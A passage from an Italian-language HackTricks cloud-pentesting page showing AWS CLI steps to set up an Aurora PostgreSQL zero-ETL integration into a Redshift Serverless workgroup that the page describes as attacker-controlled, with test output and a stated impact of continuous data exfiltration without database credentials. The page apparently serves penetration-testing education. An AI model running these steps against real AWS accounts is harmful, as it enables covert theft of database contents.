<summary>3) Crea un cluster Aurora PostgreSQL (abilita Data API e logical replication)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--engine aurora-postgresql --engine-version 16.4 \
|
||||
--master-username postgres --master-user-password 'InitPwd-1!' \
|
||||
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
# Serverless v2 instance
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
|
||||
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
|
||||
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
# Cluster parameter group for zero‑ETL
|
||||
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
|
||||
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
|
||||
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
|
||||
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
|
||||
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Creare l'integrazione zero‑ETL da RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
|
||||
--data-filter 'include: postgres.*.*'
|
||||
# Redshift inbound integration should become ACTIVE
|
||||
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Materializzare e interrogare i dati replicati in Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "select integration_id from svv_integration" # take the GUID value
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "create database ztl_db from integration '<integration_id>' database postgres"
|
||||
# List tables replicated
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
|
||||
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
|
||||
```
|
||||
</details>
|
||||
|
||||
Evidenze rilevate nel test:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha rivelato lo schema ztl e la tabella customers; una SELECT su ztl.customers ha restituito 2 righe (Alice, Bob).
|
||||
|
||||
Impatto: Esfiltrazione continua near‑real‑time di tabelle selezionate di Aurora PostgreSQL in Redshift Serverless controllato dall'attaccante, senza usare database credentials, backups o accesso di rete al cluster di origine.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user